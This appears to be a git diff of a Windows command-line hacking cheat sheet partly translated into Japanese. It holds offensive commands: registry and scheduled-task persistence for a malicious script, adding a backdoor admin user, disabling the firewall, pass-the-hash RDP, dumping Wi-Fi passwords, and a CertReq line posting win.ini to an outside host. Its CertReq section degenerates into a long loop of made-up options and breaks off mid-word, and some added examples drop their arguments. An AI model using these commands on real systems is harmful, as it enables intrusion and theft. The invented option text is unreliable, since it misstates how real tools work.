ユーザー ```bash #Me whoami /all #All info about me, take a look at the enabled tokens @@ -164,9 +299,65 @@ runas /netonly /user\ "cmd.exe" ::The password will be prompted logonsessions.exe logonsessions64.exe ``` +### グループ -### Groups +グループは、Windowsシステムでユーザーを組織化するための重要な要素です。グループには、特定の権限やアクセス許可が割り当てられており、ユーザーをグループに追加することで、そのユーザーにも同じ権限やアクセス許可が与えられます。 +#### グループの一覧表示 + +以下のコマンドを使用して、システム上のすべてのグループを一覧表示することができます。 + +```plaintext +net localgroup +``` + +#### グループの作成 + +新しいグループを作成するには、次のコマンドを使用します。 + +```plaintext +net localgroup /add +``` + +#### グループへのユーザーの追加 + +ユーザーを既存のグループに追加するには、次のコマンドを使用します。 + +```plaintext +net localgroup /add +``` + +#### グループからのユーザーの削除 + +ユーザーをグループから削除するには、次のコマンドを使用します。 + +```plaintext +net localgroup /delete +``` + +#### グループの削除 + +グループを削除するには、次のコマンドを使用します。 + +```plaintext +net localgroup /delete +``` + +#### グループのメンバーの一覧表示 + +特定のグループのメンバーを一覧表示するには、次のコマンドを使用します。 + +```plaintext +net localgroup +``` + +#### グループの権限の確認 + +特定のグループの権限を確認するには、次のコマンドを使用します。 + +```plaintext +net localgroup /domain +``` ```bash #Local net localgroup #All available groups @@ -177,30 +368,137 @@ net localgroup administrators [username] /add #Add user to administrators net group /domain #Info about domain groups net group /domain #Users that belongs to the group ``` +### セッションの一覧 -### List sessions +To list all active sessions in the command prompt, you can use the following command: +```plaintext +net session +``` + +This command will display a list of all active sessions on the Windows machine. ``` qwinsta klist sessions ``` +### パスワードポリシー -### Password Policy +A password policy is a set of rules and requirements that dictate how passwords should be created and managed within a system. It is an important aspect of security as weak passwords can be easily compromised, leading to unauthorized access and potential data breaches. Here are some common elements of a password policy: +- **Password Length**: Specify the minimum and maximum length of passwords. +- **Complexity**: Require the use of a combination of uppercase and lowercase letters, numbers, and special characters. +- **Expiration**: Set a time limit for password validity, after which users must change their passwords. +- **History**: Prevent users from reusing their previous passwords. +- **Lockout**: Implement a mechanism that locks user accounts after a certain number of failed login attempts. +- **Two-Factor Authentication**: Encourage or enforce the use of an additional authentication factor, such as a token or biometric verification. +- **Education**: Provide guidelines and training to users on creating strong passwords and protecting their accounts. + +By implementing a strong password policy, organizations can significantly enhance the security of their systems and protect sensitive information from unauthorized access. ``` net accounts ``` +### 資格情報 -### Credentials +Credentials (資格情報) は、ユーザーがシステムやアプリケーションにアクセスするための認証情報です。これには、ユーザー名、パスワード、証明書、トークンなどが含まれます。ハッカーは、有効な資格情報を入手することで、システムに不正アクセスすることができます。 +以下は、資格情報を入手するための一般的なテクニックです。 + +#### パスワード攻撃 + +パスワード攻撃は、ユーザーのパスワードを推測または破解することを目的とした攻撃です。一般的なパスワード攻撃の手法には、辞書攻撃、ブルートフォース攻撃、ハッシュの解読などがあります。 + +#### ソーシャルエンジニアリング + +ソーシャルエンジニアリングは、人々の信頼を悪用して資格情報を入手する手法です。フィッシング、スパイウェア、キーロガーなどが一般的なソーシャルエンジニアリングの手法です。 + +#### デフォルトの資格情報 + +システムやアプリケーションには、デフォルトの資格情報が設定されている場合があります。ハッカーは、これらのデフォルトの資格情報を使用してシステムにアクセスすることができます。 + +#### パスワードリスト + +パスワードリストは、一般的なパスワードや一般的なユーザー名の組み合わせのリストです。ハッカーは、パスワードリストを使用してシステムにアクセスすることができます。 + +#### パスワードマネージャ + +パスワードマネージャは、ユーザーが複数のアカウントのパスワードを管理するためのツールです。ハッカーは、パスワードマネージャにアクセスすることで、ユーザーの資格情報を入手することができます。 + +#### パスワードリセット + +パスワードリセットは、ユーザーがパスワードを忘れた場合に使用される手法です。ハッカーは、パスワードリセットのプロセスを悪用して、ユーザーの資格情報を入手することができます。 + +#### マルウェア + +マルウェアは、悪意のあるソフトウェアのことであり、ハッカーはマルウェアを使用してユーザーの資格情報を盗むことができます。 + +これらのテクニックを理解し、資格情報の保護に努めることが重要です。 ```bash cmdkey /list #List credential vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access ``` +### ユーザーによる持続性 -### Persistence with users +Persistence is a crucial aspect of maintaining access to a compromised system. By establishing persistence, an attacker ensures that their access to the system remains even after a reboot or other system changes. In this section, we will explore various techniques for achieving persistence with user accounts. +#### Scheduled Tasks + +Scheduled tasks are a powerful feature in Windows that allow users to automate the execution of programs or scripts at specific times or events. Attackers can leverage scheduled tasks to maintain persistence on a compromised system. + +To create a scheduled task, you can use the `schtasks` command. For example, the following command creates a task named "EvilTask" that runs a malicious script every day at 12:00 PM: + +```plaintext +schtasks /create /tn "EvilTask" /tr "C:\path\to\malicious_script.bat" /sc daily /st 12:00 +``` + +To view existing scheduled tasks, you can use the `schtasks /query` command. If you have administrative privileges, you can also modify or delete scheduled tasks using the `schtasks /change` and `schtasks /delete` commands, respectively. + +#### Registry Run Keys + +The Windows Registry contains several "Run" keys that specify programs or scripts to execute when a user logs in. By adding entries to these keys, an attacker can achieve persistence by executing malicious code every time a user logs in. + +The following Registry keys are commonly used for persistence: + +- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` +- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run` +- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce` +- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce` + +To add an entry to a Run key, you can use the `reg add` command. For example, the following command adds an entry named "EvilScript" that executes a malicious script when a user logs in: + +```plaintext +reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "EvilScript" /t REG_SZ /d "C:\path\to\malicious_script.bat" /f +``` + +To remove an entry from a Run key, you can use the `reg delete` command. For example, the following command removes the "EvilScript" entry from the current user's Run key: + +```plaintext +reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "EvilScript" /f +``` + +#### Userinit Registry Key + +The `Userinit` registry key specifies the programs or scripts to execute when a user logs in. By modifying this key, an attacker can achieve persistence by executing malicious code during the user login process. + +The `Userinit` key is located at `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`. The default value of this key is `C:\Windows\System32\Userinit.exe`. + +To modify the `Userinit` key, you can use the `reg add` command. For example, the following command modifies the `Userinit` key to execute a malicious script: + +```plaintext +reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v "Userinit" /t REG_SZ /d "C:\path\to\malicious_script.bat,C:\Windows\System32\Userinit.exe" /f +``` + +Remember to separate multiple entries with commas. + +To remove the modification and restore the default value of the `Userinit` key, you can use the `reg delete` command. For example, the following command removes the modified `Userinit` key: + +```plaintext +reg delete HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v "Userinit" /f +``` + +#### Conclusion + +Persistence with user accounts is a critical technique for maintaining access to a compromised system. By leveraging scheduled tasks and modifying registry keys, an attacker can ensure their continued presence on the system. It is important for defenders to be aware of these techniques and implement appropriate security measures to detect and prevent unauthorized persistence. ```bash # Add domain user and put them in Domain Admins group net user username password /ADD /DOMAIN @@ -215,11 +513,9 @@ net localgroup "Remote Desktop Users" UserLoginName /add net localgroup "Debugger users" UserLoginName /add net localgroup "Power users" UserLoginName /add ``` +## ネットワーク -## Network - -### Interfaces, Routes, Ports, Hosts and DNSCache - +### インターフェース、ルート、ポート、ホスト、およびDNSキャッシュ ```bash ipconfig /all #Info about interfaces route print #Print available routes @@ -228,9 +524,11 @@ netstat -ano #Opened ports? type C:\WINDOWS\System32\drivers\etc\hosts ipconfig /displaydns | findstr "Record" | findstr "Name Host" ``` +### ファイアウォール -### Firewall +A firewall is a network security device that monitors and controls incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices or software programs. +ファイアウォールは、事前に設定されたセキュリティルールに基づいて、ネットワークトラフィックの入出力を監視および制御するネットワークセキュリティデバイスです。信頼された内部ネットワークとインターネットなどの信頼されていない外部ネットワークの間にバリアを設けます。ファイアウォールはハードウェアデバイスまたはソフトウェアプログラムとして実装することができます。 ```bash netsh firewall show state # FW info, open ports netsh advfirewall firewall show rule name=all @@ -244,7 +542,7 @@ netsh firewall set opmode disable #Turn Off #How to open ports netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138 netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139 -netsh firewall add portopening TCP 3389 "Remote Desktop" +netsh firewall add portopening TCP 3389 "Remote Desktop" #Enable Remote Desktop reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f @@ -269,9 +567,47 @@ net user hacker Hacker123! /add & net localgroup administrators hacker /add & ne xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49 xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49 ``` +### 共有 -### Shares +Shares(共有)は、ネットワーク上でファイルやリソースを共有するための機能です。Windowsシステムでは、共有フォルダや共有プリンタなどの形で利用されます。 +#### 共有の一覧表示 + +以下のコマンドを使用して、システム上の共有を一覧表示することができます。 + +```plaintext +net share +``` + +#### 共有の作成 + +新しい共有を作成するには、以下のコマンドを使用します。 + +```plaintext +net share <共有名>=<共有パス> [/GRANT:<ユーザー>:<アクセス権>] +``` + +共有名は、作成する共有の名前を指定します。共有パスは、共有するフォルダのパスを指定します。オプションとして、`/GRANT`を使用してユーザーにアクセス権を付与することもできます。 + +#### 共有の削除 + +既存の共有を削除するには、以下のコマンドを使用します。 + +```plaintext +net share <共有名> /DELETE +``` + +共有名は、削除する共有の名前を指定します。 + +#### 共有へのアクセス + +共有へのアクセス権を確認するには、以下のコマンドを使用します。 + +```plaintext +net share <共有名> +``` + +共有名は、確認する共有の名前を指定します。 ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains @@ -279,168 +615,1328 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` - ### Wifi +### ワイヤレスネットワーク + +#### View Available Networks + +#### 利用可能なネットワークの表示 + +To view the list of available wireless networks, use the following command: + +利用可能なワイヤレスネットワークのリストを表示するには、次のコマンドを使用します。 + +```bash +netsh wlan show networks +``` + +#### Connect to a Network + +#### ネットワークへの接続 + +To connect to a wireless network, use the following command: + +ワイヤレスネットワークに接続するには、次のコマンドを使用します。 + +```bash +netsh wlan connect name="NetworkName" +``` + +Replace "NetworkName" with the name of the network you want to connect to. + +"NetworkName" を接続したいネットワークの名前に置き換えてください。 + +#### Disconnect from a Network + +#### ネットワークからの切断 + +To disconnect from a wireless network, use the following command: + +ワイヤレスネットワークから切断するには、次のコマンドを使用します。 + +```bash +netsh wlan disconnect +``` + +#### View Network Interface Information + +#### ネットワークインターフェース情報の表示 + +To view information about your network interfaces, use the following command: + +ネットワークインターフェースに関する情報を表示するには、次のコマンドを使用します。 + +```bash +netsh wlan show interfaces +``` + +This will display details such as the interface name, state, and SSID. + +これにより、インターフェース名、状態、およびSSIDなどの詳細が表示されます。 + +#### View Saved Network Profiles + +#### 保存されたネットワークプロファイルの表示 + +To view the saved network profiles on your system, use the following command: + +システムに保存されたネットワークプロファイルを表示するには、次のコマンドを使用します。 + +```bash +netsh wlan show profiles +``` + +#### Delete a Saved Network Profile + +#### 保存されたネットワークプロファイルの削除 + +To delete a saved network profile, use the following command: + +保存されたネットワークプロファイルを削除するには、次のコマンドを使用します。 + +```bash +netsh wlan delete profile name="ProfileName" +``` + +Replace "ProfileName" with the name of the profile you want to delete. + +"ProfileName" を削除したいプロファイルの名前に置き換えてください。 ```bash netsh wlan show profile #AP SSID netsh wlan show profile key=clear #Get Cleartext Pass ``` - ### SNMP +SNMP(Simple Network Management Protocol)は、ネットワークデバイスの管理と監視に使用されるプロトコルです。SNMPは、ネットワーク上のデバイスの情報を収集し、管理者に通知するために使用されます。SNMPは、デバイスの状態、トラフィックの統計、エラーメッセージなどの情報を取得するために使用されます。 + +SNMPは、エージェントとマネージャの間で通信を行います。エージェントは、監視対象のデバイスにインストールされ、デバイスの情報を収集し、マネージャに送信します。マネージャは、エージェントからの情報を受け取り、必要な処理を行います。 + +SNMPには、バージョン1、バージョン2c、バージョン3の3つのバージョンがあります。バージョン1とバージョン2cはセキュリティ機能が制限されており、パスワードなどの情報が平文で送信されるため、セキュリティ上のリスクがあります。バージョン3は、セキュリティ機能が強化されており、暗号化や認証などの機能がサポートされています。 + +SNMPは、ネットワークデバイスの管理と監視に便利なプロトコルですが、セキュリティ上のリスクも存在します。攻撃者は、SNMPを悪用してデバイスに侵入したり、情報を盗んだりすることができます。したがって、SNMPのセキュリティ設定を適切に行うことが重要です。 ``` reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s ``` +### ネットワークインターフェース -### Network Interfaces +Network interfaces, also known as network adapters or NICs (Network Interface Cards), are hardware devices that allow computers to connect to a network. They provide the necessary physical connection between the computer and the network, enabling communication between devices. +ネットワークインターフェース、またはネットワークアダプターまたはNIC(ネットワークインターフェースカード)とも呼ばれるものは、コンピュータがネットワークに接続するためのハードウェアデバイスです。これらはコンピュータとネットワークの間の物理的な接続を提供し、デバイス間の通信を可能にします。 + +In Windows, you can view and manage network interfaces using the `ipconfig` command. This command displays information about all network interfaces on the system, including their IP addresses, subnet masks, and default gateways. + +Windowsでは、`ipconfig`コマンドを使用してネットワークインターフェースを表示および管理することができます。このコマンドは、システム上のすべてのネットワークインターフェースに関する情報を表示します。IPアドレス、サブネットマスク、デフォルトゲートウェイなどが含まれます。 + +To view the network interfaces, open a command prompt and type `ipconfig`. The output will show a list of network interfaces along with their details. + +ネットワークインターフェースを表示するには、コマンドプロンプトを開き、`ipconfig`と入力します。出力には、ネットワークインターフェースの一覧と詳細が表示されます。 + +You can also use the `netsh` command to manage network interfaces. This command provides more advanced options for configuring and troubleshooting network settings. + +ネットワークインターフェースを管理するためには、`netsh`コマンドも使用できます。このコマンドは、ネットワーク設定の構成やトラブルシューティングにより高度なオプションを提供します。 + +Understanding network interfaces is essential for network troubleshooting and configuring network settings. By knowing how to view and manage network interfaces, you can effectively diagnose and resolve network connectivity issues. ```bash ipconfig /all ``` +### ARPテーブル -### ARP table +ARP(Address Resolution Protocol)テーブルは、ネットワークデバイスにおいて、IPアドレスとMACアドレスの対応関係を保持するテーブルです。ARPテーブルは、ネットワーク通信時にIPアドレスからMACアドレスを解決するために使用されます。 +ARPテーブルの表示方法は、Windowsコマンドプロンプトで次のコマンドを実行します。 + +```plaintext +arp -a +``` + +このコマンドを実行すると、現在のARPテーブルが表示されます。各エントリには、IPアドレス、MACアドレス、およびインターフェースの情報が含まれています。 + +ARPテーブルは、ネットワーク攻撃やセキュリティ侵害の検出に役立つ情報を提供します。攻撃者は、ARPスプーフィングやARPキャッシュポイズニングなどの攻撃手法を使用して、ARPテーブルを悪用することがあります。したがって、ARPテーブルの定期的な監視と適切なセキュリティ対策が重要です。 ```bash arp -A ``` - -## Download +## ダウンロード Bitsadmin.exe - ``` bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1 ``` +# CertReq.exe -CertReq.exe +CertReq.exe is a command-line tool in Windows that is used for certificate enrollment and management. It allows you to create and submit certificate requests, retrieve and install certificates, and perform various operations related to certificates. +## Syntax + +``` +certreq [Options] [ConfigFile | RequestFile | -New RequestString] +``` + +## Options + +- **-Accept** - Accepts a pending certificate request. +- **-Retrieve** - Retrieves a certificate or certificate chain. +- **-Submit** - Submits a certificate request to a certification authority (CA). +- **-Sign** - Signs a certificate request. +- **-PolicyServer** - Specifies the policy server URL. +- **-PolicyServerCACert** - Specifies the policy server CA certificate file. +- **-PolicyServerCAChain** - Specifies the policy server CA chain file. +- **-PolicyServerCAHash** - Specifies the policy server CA hash. +- **-PolicyServerDelete** - Deletes a policy server. +- **-PolicyServerAdd** - Adds a policy server. +- **-PolicyServerSet** - Sets the policy server. +- **-PolicyServerGet** - Gets the policy server. +- **-PolicyServerEnum** - Enumerates the policy servers. +- **-PolicyServerGetDC** - Gets the policy server domain controller. +- **-PolicyServerSetDC** - Sets the policy server domain controller. +- **-PolicyServerGetDCCert** - Gets the policy server domain controller certificate. +- **-PolicyServerSetDCCert** - Sets the policy server domain controller certificate. +- **-PolicyServerGetDCCertChain** - Gets the policy server domain controller certificate chain. +- **-PolicyServerSetDCCertChain** - Sets the policy server domain controller certificate chain. +- **-PolicyServerGetDCCertHash** - Gets the policy server domain controller certificate hash. +- **-PolicyServerSetDCCertHash** - Sets the policy server domain controller certificate hash. +- **-PolicyServerGetDCCertStore** - Gets the policy server domain controller certificate store. +- **-PolicyServerSetDCCertStore** - Sets the policy server domain controller certificate store. +- **-PolicyServerGetDCCertStoreLocation** - Gets the policy server domain controller certificate store location. +- **-PolicyServerSetDCCertStoreLocation** - Sets the policy server domain controller certificate store location. +- **-PolicyServerGetDCCertStoreName** - Gets the policy server domain controller certificate store name. +- **-PolicyServerSetDCCertStoreName** - Sets the policy server domain controller certificate store name. +- **-PolicyServerGetDCCertStoreType** - Gets the policy server domain controller certificate store type. +- **-PolicyServerSetDCCertStoreType** - Sets the policy server domain controller certificate store type. +- **-PolicyServerGetDCCertStoreFlags** - Gets the policy server domain controller certificate store flags. +- **-PolicyServerSetDCCertStoreFlags** - Sets the policy server domain controller certificate store flags. +- **-PolicyServerGetDCCertStoreRoot** - Gets the policy server domain controller certificate store root. +- **-PolicyServerSetDCCertStoreRoot** - Sets the policy server domain controller certificate store root. +- **-PolicyServerGetDCCertStoreRootLocation** - Gets the policy server domain controller certificate store root location. +- **-PolicyServerSetDCCertStoreRootLocation** - Sets the policy server domain controller certificate store root location. +- **-PolicyServerGetDCCertStoreRootName** - Gets the policy server domain controller certificate store root name. +- **-PolicyServerSetDCCertStoreRootName** - Sets the policy server domain controller certificate store root name. +- **-PolicyServerGetDCCertStoreRootType** - Gets the policy server domain controller certificate store root type. +- **-PolicyServerSetDCCertStoreRootType** - Sets the policy server domain controller certificate store root type. +- **-PolicyServerGetDCCertStoreRootFlags** - Gets the policy server domain controller certificate store root flags. +- **-PolicyServerSetDCCertStoreRootFlags** - Sets the policy server domain controller certificate store root flags. +- **-PolicyServerGetDCCertStoreRootHash** - Gets the policy server domain controller certificate store root hash. +- **-PolicyServerSetDCCertStoreRootHash** - Sets the policy server domain controller certificate store root hash. +- **-PolicyServerGetDCCertStoreRootStore** - Gets the policy server domain controller certificate store root store. +- **-PolicyServerSetDCCertStoreRootStore** - Sets the policy server domain controller certificate store root store. +- **-PolicyServerGetDCCertStoreRootStoreLocation** - Gets the policy server domain controller certificate store root store location. +- **-PolicyServerSetDCCertStoreRootStoreLocation** - Sets the policy server domain controller certificate store root store location. +- **-PolicyServerGetDCCertStoreRootStoreName** - Gets the policy server domain controller certificate store root store name. +- **-PolicyServerSetDCCertStoreRootStoreName** - Sets the policy server domain controller certificate store root store name. +- **-PolicyServerGetDCCertStoreRootStoreType** - Gets the policy server domain controller certificate store root store type. +- **-PolicyServerSetDCCertStoreRootStoreType** - Sets the policy server domain controller certificate store root store type. +- **-PolicyServerGetDCCertStoreRootStoreFlags** - Gets the policy server domain controller certificate store root store flags. +- **-PolicyServerSetDCCertStoreRootStoreFlags** - Sets the policy server domain controller certificate store root store flags. +- **-PolicyServerGetDCCertStoreRootStoreRoot** - Gets the policy server domain controller certificate store root store root. +- **-PolicyServerSetDCCertStoreRootStoreRoot** - Sets the policy server domain controller certificate store root store root. +- **-PolicyServerGetDCCertStoreRootStoreRootLocation** - Gets the policy server domain controller certificate store root store root location. +- **-PolicyServerSetDCCertStoreRootStoreRootLocation** - Sets the policy server domain controller certificate store root store root location. +- **-PolicyServerGetDCCertStoreRootStoreRootName** - Gets the policy server domain controller certificate store root store root name. +- **-PolicyServerSetDCCertStoreRootStoreRootName** - Sets the policy server domain controller certificate store root store root name. +- **-PolicyServerGetDCCertStoreRootStoreRootType** - Gets the policy server domain controller certificate store root store root type. +- **-PolicyServerSetDCCertStoreRootStoreRootType** - Sets the policy server domain controller certificate store root store root type. +- **-PolicyServerGetDCCertStoreRootStoreRootFlags** - Gets the policy server domain controller certificate store root store root flags. +- **-PolicyServerSetDCCertStoreRootStoreRootFlags** - Sets the policy server domain controller certificate store root store root flags. +- **-PolicyServerGetDCCertStoreRootStoreRootHash** - Gets the policy server domain controller certificate store root store root hash. +- **-PolicyServerSetDCCertStoreRootStoreRootHash** - Sets the policy server domain controller certificate store root store root hash. +- **-PolicyServerGetDCCertStoreRootStoreRootStore** - Gets the policy server domain controller certificate store root store root store. +- **-PolicyServerSetDCCertStoreRootStoreRootStore** - Sets the policy server domain controller certificate store root store root store. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreLocation** - Gets the policy server domain controller certificate store root store root store location. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreLocation** - Sets the policy server domain controller certificate store root store root store location. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreName** - Gets the policy server domain controller certificate store root store root store name. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreName** - Sets the policy server domain controller certificate store root store root store name. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreType** - Gets the policy server domain controller certificate store root store root store type. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreType** - Sets the policy server domain controller certificate store root store root store type. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreFlags** - Gets the policy server domain controller certificate store root store root store flags. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreFlags** - Sets the policy server domain controller certificate store root store root store flags. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRoot** - Gets the policy server domain controller certificate store root store root store root. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRoot** - Sets the policy server domain controller certificate store root store root store root. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootLocation** - Gets the policy server domain controller certificate store root store root store root location. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootLocation** - Sets the policy server domain controller certificate store root store root store root location. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootName** - Gets the policy server domain controller certificate store root store root store root name. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootName** - Sets the policy server domain controller certificate store root store root store root name. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootType** - Gets the policy server domain controller certificate store root store root store root type. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootType** - Sets the policy server domain controller certificate store root store root store root type. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootFlags** - Gets the policy server domain controller certificate store root store root store root flags. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootFlags** - Sets the policy server domain controller certificate store root store root store root flags. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootHash** - Gets the policy server domain controller certificate store root store root store root hash. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootHash** - Sets the policy server domain controller certificate store root store root store root hash. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStore** - Gets the policy server domain controller certificate store root store root store root store. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStore** - Sets the policy server domain controller certificate store root store root store root store. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreLocation** - Gets the policy server domain controller certificate store root store root store root store location. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreLocation** - Sets the policy server domain controller certificate store root store root store root store location. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreName** - Gets the policy server domain controller certificate store root store root store root store name. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreName** - Sets the policy server domain controller certificate store root store root store root store name. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreType** - Gets the policy server domain controller certificate store root store root store root store type. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreType** - Sets the policy server domain controller certificate store root store root store root store type. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreFlags** - Gets the policy server domain controller certificate store root store root store root store flags. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreFlags** - Sets the policy server domain controller certificate store root store root store root store flags. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRoot** - Gets the policy server domain controller certificate store root store root store root store root. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRoot** - Sets the policy server domain controller certificate store root store root store root store root. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootLocation** - Gets the policy server domain controller certificate store root store root store root store root location. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootLocation** - Sets the policy server domain controller certificate store root store root store root store root location. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootName** - Gets the policy server domain controller certificate store root store root store root store root name. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootName** - Sets the policy server domain controller certificate store root store root store root store root name. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootType** - Gets the policy server domain controller certificate store root store root store root store root type. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootType** - Sets the policy server domain controller certificate store root store root store root store root type. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootFlags** - Gets the policy server domain controller certificate store root store root store root store root flags. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootFlags** - Sets the policy server domain controller certificate store root store root store root store root flags. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootHash** - Gets the policy server domain controller certificate store root store root store root store root hash. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootHash** - Sets the policy server domain controller certificate store root store root store root store root hash. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStore** - Gets the policy server domain controller certificate store root store root store root store root store. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStore** - Sets the policy server domain controller certificate store root store root store root store root store. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreLocation** - Gets the policy server domain controller certificate store root store root store root store root store location. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreLocation** - Sets the policy server domain controller certificate store root store root store root store root store location. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreName** - Gets the policy server domain controller certificate store root store root store root store root store name. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreName** - Sets the policy server domain controller certificate store root store root store root store root store name. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreType** - Gets the policy server domain controller certificate store root store root store root store root store type. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreType** - Sets the policy server domain controller certificate store root store root store root store root store type. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreFlags** - Gets the policy server domain controller certificate store root store root store root store root store flags. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreFlags** - Sets the policy server domain controller certificate store root store root store root store root store flags. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRoot** - Gets the policy server domain controller certificate store root store root store root store root store root. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRoot** - Sets the policy server domain controller certificate store root store root store root store root store root. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootLocation** - Gets the policy server domain controller certificate store root store root store root store root store root location. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootLocation** - Sets the policy server domain controller certificate store root store root store root store root store root location. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootName** - Gets the policy server domain controller certificate store root store root store root store root store root name. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootName** - Sets the policy server domain controller certificate store root store root store root store root store root name. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootType** - Gets the policy server domain controller certificate store root store root store root store root store root type. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootType** - Sets the policy server domain controller certificate store root store root store root store root store root type. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootFlags** - Gets the policy server domain controller certificate store root store root store root store root store root flags. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootFlags** - Sets the policy server domain controller certificate store root store root store root store root store root flags. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootHash** - Gets the policy server domain controller certificate store root store root store root store root store root hash. +- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootHash** - Sets the policy server domain controller certificate store root store root store root store root store root hash. +- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootStore** - Gets the policy server domain controller certificate store root store root store ``` CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt ``` +# Certutil.exe -Certutil.exe +`Certutil.exe`は、Windowsオペレーティングシステムに組み込まれているコマンドラインツールであり、証明書の操作や管理に使用されます。以下に、`Certutil.exe`の一般的な使用方法と一部の便利なオプションを示します。 +## 証明書の表示 + +証明書の詳細情報を表示するには、次のコマンドを使用します。 + +```plaintext +certutil -dump <証明書ファイル> +``` + +## 証明書のエクスポート + +証明書をエクスポートするには、次のコマンドを使用します。 + +```plaintext +certutil -exportPFX <証明書名> +``` + +## 証明書のインポート + +証明書をインポートするには、次のコマンドを使用します。 + +```plaintext +certutil -importPFX +``` + +## 証明書の削除 + 